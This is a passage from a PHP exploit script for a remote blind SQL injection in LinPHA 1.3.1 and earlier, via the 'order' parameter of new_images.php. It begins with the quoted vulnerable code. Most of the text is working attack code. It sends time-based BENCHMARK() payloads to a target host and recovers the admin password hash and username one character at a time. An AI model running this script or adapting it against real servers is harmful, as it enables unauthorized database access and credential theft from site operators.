order = $_REQUEST['order']; 188. 189. if($default_order != $_REQUEST['order']) 190. { 191. $this->link_address .= '&order='.$_REQUEST['order']; 192. } 193. } 194. else 195. { 196. $this->order = $default_order; 197. } 198. } 199. 200. // 201. // set sql query string 202. // 203. function setSql($sql_begin,$sql_where) 204. { 205. $this->sql_where = $sql_where." ".sql_perm()." AND ". 206. PREFIX."photos.prev_path LIKE ".$GLOBALS['db']->Concat(PREFIX."first_lev_album.path","'%'"). 207. " ORDER by ".P.".".get_thumb_order($this->order); <-- BUG 208. 209. if(empty($sql_begin)) 210. { 211. $sql_begin = "SELECT ".P.".id AS id, ".P.".name As name, ".P.".filename AS filename, " . 212. "".P.".prev_path AS prev_path, ".P.".date AS date, " . 213. "".P.".level AS level, ".P.".md5sum AS md5sum"; 214. 215. } 216. $this->sql = $sql_begin.$this->sql_where; 217. $query = $GLOBALS['db']->Execute($this->sql); 218. $this->num_photos = $query->RecordCount(); 219. } $_REQUEST['order'] ('$this->order') parameter isn't properly sanitised, so we should be able (with MySQL version 4.1 or higher) to inject sql code in a subquery after 'ORDER by' statement...we can retrive admin credentials with BENCHMARK() function! Too see table prefix: http://[host]/[linpha]/new_images.php?order=foo */ error_reporting(0); ini_set("default_socket_timeout",5); set_time_limit(0); function http_send($host, $packet) { $i = 0; $sock = fsockopen($host, 80); while (!$sock) { if ($i++ == 10) die(); print "\n[-] No response from ".$host.":80 Trying again...\n"; $sock = fsockopen($host,$port); sleep(1); } fputs($sock, $packet); $resp = ""; while (!feof($sock)) $resp .= fread($sock, 1); fclose($sock); return $resp; } function getmicrotime() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } function getdelay($query) { global $host, $path; $pck = "GET ".$path."new_images.php?order=$query HTTP/1.1\r\n"; $pck.= "Host: ".$host."\r\n"; $pck.= "Keep-Alive: 300\r\n"; $pck.= "Connection: keep-alive\r\n\r\n"; $start = getmicrotime()*1000; http_send($host, $pck); $end = getmicrotime()*1000; return ($end - $start); } function normaldelay() { global $count, $prefix, $uid; $sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/AND/**/RAND(IF(1=0,BENCHMARK(".$count.",MD5(1)),0)))"; $d1 = getdelay($sql); $d2 = getdelay($sql); $d3 = getdelay($sql); $m = ($d1 + $d2 + $d3) / 3; return (intval($m)); } function benchmarkdelay() { global $count, $prefix, $uid; $sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/AND/**/RAND(IF(1=1,BENCHMARK(".$count.",MD5(1)),0)))"; $d1 = getdelay($sql); $d2 = getdelay($sql); $d3 = getdelay($sql); $m = ($d1 + $d2 + $d3) / 3; return (intval($m)); } function check_query($query) { global $ndelay; $ret = false; $d = intval(getdelay($query)); if ($d > ($ndelay * 2)) $ret = true; return $ret; } function check_target() { // see if MySQL version is >= 4.1 (subqueries support) or other error global $host, $path; print "\n[-] Checking $host..."; $pck = "GET ".$path."new_images.php?order=id,(SELECT/**/1) HTTP/1.1\r\n"; $pck.= "Host: ".$host."\r\n"; $pck.= "Keep-Alive: 300\r\n"; $pck.= "Connection: keep-alive\r\n\r\n"; $buff = http_send($host, $pck); if (!strpos($buff, "The LinPHA developers")) die("\n\n[-] Error... Probably wrong MySQL version!\n"); else print " OK!\n"; } print "\n+-----------------------------------------------------------------------------+"; print "\n| LinPHA <= 1.3.1 (new_images.php) Remote Blind SQL Injection Exploit by EgiX |"; print "\n+-----------------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage: php $argv[0] host path [delay] [prefix] [userid]\n"; print "\nhost: target server (ip/hostname)"; print "\npath: path to linpha directory"; print "\ndelay: delay for BENCHMARK() (dafault: 1000000)"; print "\nprefix: table's prefix (default: linpha)"; print "\nuserid: user id (default: 1 - admin)\n"; print "\nExample: php $argv[0] localhost /linpha/"; print "\nExample: php $argv[0] localhost / 2000000 other_prefix 2\n"; die(); } $host = $argv[1]; $path = $argv[2]; $count = (isset($argv[3]) ? $argv[3] : 1000000); $prefix = (isset($argv[4]) ? $argv[4] : "linpha"); $uid = (isset($argv[5]) ? $argv[5] : "1"); check_target(); print "\n[-] Testing delay time..."; $ndelay = normaldelay(); print "\n[-] Normal delay: $ndelay ms"; $bdelay = benchmarkdelay(); print "\n[-] Benchmark delay: $bdelay ms\n"; $hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102); $index = 1; $md5 = ""; print "\n[-] MD5 Hash: "; while (!strpos($md5, chr(0))) { for ($i = 0; $i <= count($hash); $i++) { if ($i == count($hash)) die("\n[-] Exploit failed...\n"); $sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/OR/**/" . "RAND(IF((ORD(SUBSTRING(password,".$index.",1))=".$hash[$i]."),BENCHMARK(".$count.",MD5(1)),1)))"; if (check_query($sql)) { $md5 .= chr($hash[$i]); print chr($hash[$i]); break; } } $index++; } $char = array(0); // null char for ($j = 97; $j <= 122; $j++) $char = array_merge($char, array($j)); // a-z for ($j = 65; $j <= 90; $j++) $char = array_merge($char, array($j)); // A-Z for ($j = 48; $j <= 57; $j++) $char = array_merge($char, array($j)); // 0-9 $index = 1; $user = ""; print "\n[-] Username: "; while (!strpos($user, chr(0))) { for ($i = 0; $i <= count($hash); $i++) { if ($i == count($hash)) die("\n[-] Exploit failed...\n"); $sql = "id,(SELECT/**/nickname/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/OR/**/" . "RAND(IF((ORD(SUBSTRING(nickname,".$index.",1))=".$char[$i]."),BENCHMARK(".$count.",MD5(1)),1)))"; if (check_query($sql)) { $user .= chr($char[$i]); print chr($char[$i]); break; } } $index++; } print "\n\n[-] Successfull!\n"; ?>